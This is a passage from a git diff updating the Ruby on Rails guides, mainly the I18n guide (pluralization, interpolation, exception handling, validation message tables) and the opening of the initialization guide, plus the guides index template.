+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](https://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional features provided by the view helper method).
 
 Covered are features like these:
 
@@ -594,13 +608,13 @@ Covered are features like these:
 
 ### Looking up Translations
 
-#### Basic Lookup, Scopes and Nested Keys
+#### Basic Lookup, Scopes, and Nested Keys
 
 Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
 
 ```ruby
 I18n.t :message
-I18n.t 'message'
+I18n.t "message"
 ```
 
 The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:
@@ -620,9 +634,9 @@ I18n.translate "activerecord.errors.messages.record_invalid"
 Thus the following calls are equivalent:
 
 ```ruby
-I18n.t 'activerecord.errors.messages.record_invalid'
-I18n.t 'errors.messages.record_invalid', scope: :activerecord
-I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t "activerecord.errors.messages.record_invalid"
+I18n.t "errors.messages.record_invalid", scope: :activerecord
+I18n.t :record_invalid, scope: "activerecord.errors.messages"
 I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
 ```
 
@@ -631,7 +645,7 @@ I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
 When a `:default` option is given, its value will be returned if the translation is missing:
 
 ```ruby
-I18n.t :missing, default: 'Not here'
+I18n.t :missing, default: "Not here"
 # => 'Not here'
 ```
 
@@ -640,7 +654,7 @@ If the `:default` value is a Symbol, it will be used as a key and translated. On
 E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
 
 ```ruby
-I18n.t :missing, default: [:also_missing, 'Not here']
+I18n.t :missing, default: [:also_missing, "Not here"]
 # => 'Not here'
 ```
 
@@ -649,17 +663,36 @@ I18n.t :missing, default: [:also_missing, 'Not here']
 To look up multiple translations at once, an array of keys can be passed:
 
 ```ruby
-I18n.t [:odd, :even], scope: 'errors.messages'
+I18n.t [:odd, :even], scope: "errors.messages"
 # => ["must be odd", "must be even"]
 ```
 
 Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
 
 ```ruby
-I18n.t 'activerecord.errors.messages'
+I18n.t "errors.messages"
 # => {:inclusion=>"is not included in the list", :exclusion=> ... }
 ```
 
+If you want to perform interpolation on a bulk hash of translations, you need to pass `deep_interpolation: true` as a parameter. When you have the following dictionary:
+
+```yaml
+en:
+  welcome:
+    title: "Welcome!"
+    content: "Welcome to the %{app_name}"
+```
+
+then the nested interpolation will be ignored without the setting:
+
+```ruby
+I18n.t "welcome", app_name: "book store"
+# => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"}
+
+I18n.t "welcome", deep_interpolation: true, app_name: "book store"
+# => {:title=>"Welcome!", :content=>"Welcome to the book store"}
+```
+
 #### "Lazy" Lookup
 
 Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
@@ -694,42 +727,66 @@ This is useful for setting flash messages for instance:
 class BooksController < ApplicationController
   def create
     # ...
-    redirect_to books_url, notice: t('.success')
+    redirect_to books_url, notice: t(".success")
   end
 end
 ```
 
 ### Pluralization
 
-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.
+In many languages — including English — there are only two forms, a singular and a plural, for
+a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.
 
-The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the
+pluralization backend. By default, only the English pluralization rules are applied.
 
 ```ruby
 I18n.backend.store_translations :en, inbox: {
-  one: 'one message',
-  other: '%{count} messages'
+  zero: "no messages", # optional
+  one: "one message",
+  other: "%{count} messages"
 }
 I18n.translate :inbox, count: 2
 # => '2 messages'
 
 I18n.translate :inbox, count: 1
 # => 'one message'
+
+I18n.translate :inbox, count: 0
+# => 'no messages'
 ```
 
 The algorithm for pluralizations in `:en` is as simple as:
 
 ```ruby
-entry[count == 1 ? 0 : 1]
+lookup_key = :zero if count == 0 && entry.has_key?(:zero)
+lookup_key ||= count == 1 ? :one : :other
+entry[lookup_key]
 ```
 
-I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
+The translation denoted as `:one` is regarded as singular, and the `:other` is used as plural. If the count is zero, and a `:zero` entry is present, then it will be used instead of `:other`.
 
 If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.
 
+#### Locale-specific Rules
+
+The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it
+to the Simple backend, then add the localized pluralization algorithms to translation store, as `i18n.plural.rule`.
+
+```ruby
+I18n::Backend::Simple.include(I18n::Backend::Pluralization)
+I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
+I18n.backend.store_translations :pt, apples: { one: "one or none", other: "more than one" }
+
+I18n.t :apples, count: 0, locale: :pt
+# => 'one or none'
+```
+
+Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules.
+
 ### Setting and Passing a Locale
 
-The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` in the same way as, for example, `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
 
 If no locale is passed, `I18n.locale` is used:
 
@@ -766,7 +823,7 @@ en:
 ```
 
 ```html+erb
-# app/views/home/index.html.erb
+<!-- app/views/home/index.html.erb -->
 <div><%= t('welcome') %></div>
 <div><%= raw t('welcome') %></div>
 <div><%= t('hello_html') %></div>
@@ -789,9 +846,9 @@ you can safely pass the username as set by the user:
 
 Safe strings on the other hand are interpolated verbatim.
 
-NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` (or `t`) helper method. This works in views and controllers.
 
-![i18n demo html safe](images/i18n/demo_html_safe.png)
+![i18n demo HTML safe](images/i18n/demo_html_safe.png)
 
 ### Translations for Active Record Models
 
@@ -803,14 +860,14 @@ For example when you add the following translations:
 en:
   activerecord:
     models:
-      user: Dude
+      user: Customer
     attributes:
       user:
         login: "Handle"
       # will translate User attribute "login" as "Handle"
 ```
 
-Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+Then `User.model_name.human` will return "Customer" and `User.human_attribute_name("login")` will return "Handle".
 
 You can also set a plural form for model names, adding as following:
 
@@ -819,11 +876,11 @@ en:
   activerecord:
     models:
       user:
-        one: Dude
-        other: Dudes
+        one: Customer
+        other: Customers
 ```
 
-Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+Then `User.model_name.human(count: 2)` will return "Customers". With `count: 1` or without params will return "Customer".
 
 In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:
 
@@ -831,12 +888,12 @@ In the event you need to access nested attributes within a given model, you shou
 en:
   activerecord:
     attributes:
-      user/gender:
-        female: "Female"
-        male: "Male"
+      user/role:
+        admin: "Admin"
+        contributor: "Contributor"
 ```
 
-Then `User.human_attribute_name("gender.female")` will return "Female".
+Then `User.human_attribute_name("role.admin")` will return "Admin".
 
 NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths.
 
@@ -854,19 +911,9 @@ class User < ApplicationRecord
 end
 ```
 
-The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
+The key for the error message in this case is `:blank`. Thus, in our example it will try the following keys in this order and return the first result:
 
-```ruby
-activerecord.errors.models.[model_name].attributes.[attribute_name]
-activerecord.errors.models.[model_name]
-activerecord.errors.messages
-errors.attributes.[attribute_name]
-errors.messages
 ```
-
-Thus, in our example it will try the following keys in this order and return the first result:
-
-```ruby
 activerecord.errors.models.user.attributes.name.blank
 activerecord.errors.models.user.blank
 activerecord.errors.messages.blank
@@ -874,6 +921,17 @@ errors.attributes.name.blank
 errors.messages.blank
 ```
 
+To explain it more abstractly, it returns the first key that matches in the order of the following list.
+
+```
+activerecord.errors.models.[model_name].attributes.[attribute_name].[key]
+activerecord.errors.models.[model_name].[key]
+activerecord.errors.messages.[key]
+errors.attributes.[attribute_name].[key]
+errors.messages.[key]
+```
+
+
 When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
 
 For example, you might have an Admin model inheriting from User:
@@ -896,13 +954,13 @@ errors.attributes.name.blank
 errors.messages.blank
 ```
 
-This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+This way you can provide special translations for various error messages at different points in your model's inheritance chain and in the attributes, models, or default scopes.
 
 #### Error Message Interpolation
 
 The translated model name, translated attribute name, and value are always available for interpolation as `model`, `attribute` and `value` respectively.
 
-So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+So, for example, instead of the default error message `"can't be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
 
 * `count`, where available, can be used for pluralization if present:
 
@@ -931,29 +989,15 @@ So, for example, instead of the default error message `"cannot be blank"` you co
 | numericality | :less_than_or_equal_to    | :less_than_or_equal_to    | count         |
 | numericality | :other_than               | :other_than               | count         |
 | numericality | :only_integer             | :not_an_integer           | -             |
+| numericality | :in                       | :in                       | count         |
 | numericality | :odd                      | :odd                      | -             |
 | numericality | :even                     | :even                     | -             |
-
-#### Translations for the Active Record `error_messages_for` Helper
-
-If you are using the Active Record `error_messages_for` helper, you will want to add
-translations for it.
-
-Rails ships with the following translations:
-
-```yaml
-en:
-  activerecord:
-    errors:
-      template:
-        header:
-          one:   "1 error prohibited this %{model} from being saved"
-          other: "%{count} errors prohibited this %{model} from being saved"
-        body:    "There were problems with the following fields:"
-```
-
-NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
-gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+| comparison   | :greater_than             | :greater_than             | count         |
+| comparison   | :greater_than_or_equal_to | :greater_than_or_equal_to | count         |
+| comparison   | :equal_to                 | :equal_to                 | count         |
+| comparison   | :less_than                | :less_than                | count         |
+| comparison   | :less_than_or_equal_to    | :less_than_or_equal_to    | count         |
+| comparison   | :other_than               | :other_than               | count         |
 
 ### Translations for Action Mailer E-Mail Subjects
 
@@ -1001,23 +1045,25 @@ Rails uses fixed strings and other localizations, such as format strings and oth
 
 #### Action View Helper Methods
 
-* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/main/actionview/lib/action_view/locale/en.yml#L4) translations.
 
-* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/main/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
 
-* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L37) scope.
 
 #### Active Model Methods
 
-* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/main/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
 
 * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
 
-* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
+* `ActiveModel::Error#full_message` and `ActiveModel::Errors#full_messages` prepend the attribute name to the error message using a format looked up from `errors.format` (default: [`"%{attribute} %{message}"`](https://github.com/rails/rails/blob/main/activemodel/lib/active_model/locale/en.yml#L4)). To customize the default format, override it in the app's locale files. To customize the format per model or per attribute, see [`config.active_model.i18n_customize_full_message`][].
+
+[`config.active_model.i18n_customize_full_message`]: configuring.html#config-active-model-i18n-customize-full-message
 
 #### Active Support Methods
 
-* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L33) scope.
 
 How to Store your Custom Translations
 -------------------------------------
@@ -1026,7 +1072,7 @@ The Simple backend shipped with Active Support allows you to store translations
 
 For example a Ruby Hash providing translations can look like this:
 
-```yaml
+```ruby
 {
   pt: {
     foo: {
@@ -1060,28 +1106,26 @@ en:
 So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
 
 ```ruby
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', scope: :date
-I18n.t :short, scope: 'date.formats'
+I18n.t "date.formats.short"
+I18n.t "formats.short", scope: :date
+I18n.t :short, scope: "date.formats"
 I18n.t :short, scope: [:date, :formats]
 ```
 
 Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
 
-Customize your I18n Setup
+Customize Your I18n Setup
 -------------------------
 
 ### Using Different Backends
 
 For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
 
-That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs, by passing a backend instance to the `I18n.backend=` setter.
 
-```ruby
-I18n.backend = Globalize::Backend::Static.new
-```
+For example, you can replace the Simple backend with the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends.
 
-You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+With the Chain backend, you could use the Active Record backend and fall back to the (default) Simple backend:
 
 ```ruby
 I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
@@ -1091,81 +1135,75 @@ I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.ba
 
 The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
 
-```ruby
-MissingTranslationData       # no translation was found for the requested key
-InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
-```
+| Exception  | Reason  |
+|---|---|
+| `I18n::MissingTranslationData`       | no translation was found for the requested key |
+| `I18n::InvalidLocale`                | the locale set to `I18n.locale` is invalid (e.g. `nil`) |
+| `I18n::InvalidPluralizationData`     | a count option was passed but the translation data is not suitable for pluralization |
+| `I18n::MissingInterpolationArgument` | the translation expects an interpolation argument that has not been passed |
+| `I18n::ReservedInterpolationKey`     | the translation contains a reserved interpolation variable name (i.e. one of: `scope`, `default`) |
+| `I18n::UnknownFileType`              | the backend does not know how to handle a file type that was added to `I18n.load_path` |
 
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.
+#### Customizing how `I18n::MissingTranslationData` is handled
 
-The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+If `config.i18n.raise_on_missing_translations` is `true`, `I18n::MissingTranslationData` errors will be raised from views and controllers. If the value is `:strict`, models also raise the error. It's a good idea to turn this on in your test environment, so you can catch places where missing translations are requested.
 
-In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+If `config.i18n.raise_on_missing_translations` is `false` (the default in all environments), the exception's error message will be printed. This contains the missing key/scope so you can fix your code.
+
+If you want to customize this behavior further, you should set `config.i18n.raise_on_missing_translations = false` and then implement a `I18n.exception_handler`. The custom exception handler can be a proc or a class with a `call` method:
 
 ```ruby
+# config/initializers/i18n.rb
 module I18n
-  class JustRaiseExceptionHandler < ExceptionHandler
+  class RaiseExceptForSpecificKeyExceptionHandler
     def call(exception, locale, key, options)
-      if exception.is_a?(MissingTranslationData)
+      if key == "special.key"
+        "translation missing!" # return this, don't raise it
+      elsif exception.is_a?(MissingTranslation)
         raise exception.to_exception
       else
-        super
+        raise exception
       end
     end
   end
 end
 
-I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+I18n.exception_handler = I18n::RaiseExceptForSpecificKeyExceptionHandler.new
 ```
 
-This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
-
-However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+This would raise all exceptions the same way the default handler would, except in the case of `I18n.t("special.key")`.
 
-```ruby
-if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule'
-  raise exception.to_exception
-else
-  super
-end
-```
+Translating Model Content
+-------------------------
 
-Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+The I18n API described in this guide is primarily intended for translating interface strings. If you are looking to translate model content (e.g. blog posts), you will need a different solution to help with this.
 
-To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
+Several gems can help with this:
 
-```ruby
-I18n.t :foo, raise: true # always re-raises exceptions from the backend
-```
+* [Mobility](https://github.com/shioyama/mobility): Provides support for storing translations in many formats, including translation tables, JSON columns (PostgreSQL), etc.
+* [Traco](https://github.com/barsoom/traco): Translatable columns stored in the model table itself
 
 Conclusion
 ----------
 
 At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
 
-If you want to discuss certain portions or have questions, please sign up to the [rails-i18n mailing list](http://groups.google.com/group/rails-i18n).
-
 
 Contributing to Rails I18n
 --------------------------
 
 I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
 
-Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n)!)
+Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](https://groups.google.com/forum/#!forum/rails-i18n)!)
 
-If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://help.github.com/articles/about-pull-requests/).
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data, and send a [pull request](https://help.github.com/articles/about-pull-requests/).
 
 
 Resources
 ---------
 
-* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
 * [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
-* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem.
+* [GitHub: i18n](https://github.com/ruby-i18n/i18n) - Code repository and issue tracker for the i18n gem.
 
 
 Authors
@@ -1177,7 +1215,7 @@ Authors
 Footnotes
 ---------
 
-[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](https://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
 
 [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
 
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
index 2fdf18a2e99bf..904a02cd2e851 100644
--- a/guides/source/index.html.erb
+++ b/guides/source/index.html.erb
@@ -1,24 +1,25 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides
-<% end %>
+<% content_for :page_title, "Ruby on Rails Guides" %>
+<% content_for :description, "Ruby on Rails Guides" %>
 
 <% content_for :header_section do %>
 <%= render 'welcome' %>
 <% end %>
 
 <% content_for :index_section do %>
-<div id="subCol">
-  <dl>
+<div id="column-side" class="guide-index">
+  <dl role="presentation">
     <dt></dt>
-    <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
-    <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
+    <% unless @edge -%>
+      <dd class="interstitial info kindle"><p>Rails Guides are also available for <%= link_to 'Kindle', @epub %>.</p></dd>
+    <% end -%>
+    <dd class="interstitial work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
   </dl>
 </div>
 <% end %>
 
 <% documents_by_section.each do |section| %>
-  <h3><%= section['name'] %></h3>
-  <dl>
+  <h2><%= section['name'] %></h2>
+  <dl class="guide-index-list">
     <% section['documents'].each do |document| %>
       <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %>
         <p><%= document['description'] %></p>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index 3ea156c6fe040..c967036f37bed 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 The Rails Initialization Process
 ================================
@@ -8,7 +8,7 @@ It is an extremely in-depth guide and recommended for advanced Rails developers.
 
 After reading this guide, you will know:
 
-* How to use `rails server`.
+* How to use `bin/rails server`.
 * The timeline of Rails' initialization sequence.
 * Where different files are required by the boot sequence.
 * How the Rails::Server interface is defined and used.
@@ -18,7 +18,7 @@ After reading this guide, you will know:
 This guide goes through every method call that is
 required to boot up the Ruby on Rails stack for a default Rails
 application, explaining each part in detail along the way. For this
-guide, we will be focusing on what happens when you execute `rails server`
+guide, we will be focusing on what happens when you execute `bin/rails server`
 to boot your app.
 
 NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
@@ -32,41 +32,7 @@ Launch!
 -------
 
 Let's start to boot and initialize the app. A Rails application is usually
-started by running `rails console` or `rails server`.
-
-### `railties/exe/rails`
-
-The `rails` in the command `rails server` is a ruby executable in your load
-path. This executable contains the following lines:
-
-```ruby
-version = ">= 0"
-load Gem.bin_path('railties', 'rails', version)
-```
-
-If you try out this command in a Rails console, you would see that this loads
-`railties/exe/rails`. A part of the file `railties/exe/rails.rb` has the
-following code:
-
-```ruby
-require "rails/cli"
-```
-
-The file `railties/lib/rails/cli` in turn calls
-`Rails::AppLoader.exec_app`.
-
-### `railties/lib/rails/app_loader.rb`
-
-The primary goal of the function `exec_app` is to execute your app's
-`bin/rails`. If the current directory does not have a `bin/rails`, it will
-navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
-`rails` command from anywhere inside a rails application.
-
-For `rails server` the equivalent of the following command is executed:
-
-```bash
-$ exec ruby bin/rails server
-```
+started by running `bin/rails console` or `bin/rails server`.
 
 ### `bin/rails`
 
@@ -74,9 +40,9 @@ This file is as follows:
 
 ```ruby
 #!/usr/bin/env ruby
-APP_PATH = File.expand_path('../config/application', __dir__)
-require_relative '../config/boot'
-require 'rails/commands'
+APP_PATH = File.expand_path("../config/application", __dir__)
+require_relative "../config/boot"
+require "rails/commands"
 ```
 
 The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
@@ -86,44 +52,18 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
 `config/boot.rb` contains:
 
 ```ruby
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../Gemfile", __dir__)
 
-require 'bundler/setup' # Set up gems listed in the Gemfile.
+require "bundler/setup" # Set up gems listed in the Gemfile.
+require "bootsnap/setup" # Speed up boot time by caching expensive operations.
 ```
 
 In a standard Rails application, there's a `Gemfile` which declares all
 dependencies of the application. `config/boot.rb` sets
-`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the `Gemfile`
 exists, then `bundler/setup` is required. The require is used by Bundler to
 configure the load path for your Gemfile's dependencies.
 
-A standard Rails application depends on several gems, specifically:
-
-* actionmailer
-* actionpack
-* actionview
-* activemodel
-* activerecord
-* activesupport
-* activejob
-* arel
-* builder
-* bundler
-* erubis
-* i18n
-* mail
-* mime-types
-* rack
-* rack-cache
-* rack-mount
-* rack-test
-* rails
-* railties
-* rake
-* sqlite3
-* thor
-* tzinfo
-
 ### `rails/commands.rb`
 
 Once `config/boot.rb` has finished, the next file that is required is
@@ -155,26 +95,39 @@ defined here to find the matching command.
 ### `rails/command.rb`
 
 When one types a Rails command, `invoke` tries to lookup a command for the given
-namespace and executing the command if found.
+namespace and executes the command if found.
 
 If Rails doesn't recognize the command, it hands the reins over to Rake
 to run a task of the same name.
 
-As shown, `Rails::Command` displays the help output automatically if the `args`
-are empty.
+As shown, `Rails::Command` displays the help output automatically if the `namespace`
+is empty.
 
 ```ruby
-module Rails::Command
-  class << self
-    def invoke(namespace, args = [], **config)
-      namespace = namespace.to_s
-      namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace)
-      namespace = "version" if %w( -v --version ).include? namespace
-    
-      if command = find_by_namespace(namespace)
-        command.perform(namespace, args, config)
-      else
-        find_by_namespace("rake").perform(namespace, args, config)
+module Rails
+  module Command
+    class << self
+      def invoke(full_namespace, args = [], **config)
+        args = ["--help"] if rails_new_with_no_path?(args)
+
+        full_namespace = full_namespace.to_s
+        namespace, command_name = split_namespace(full_namespace)
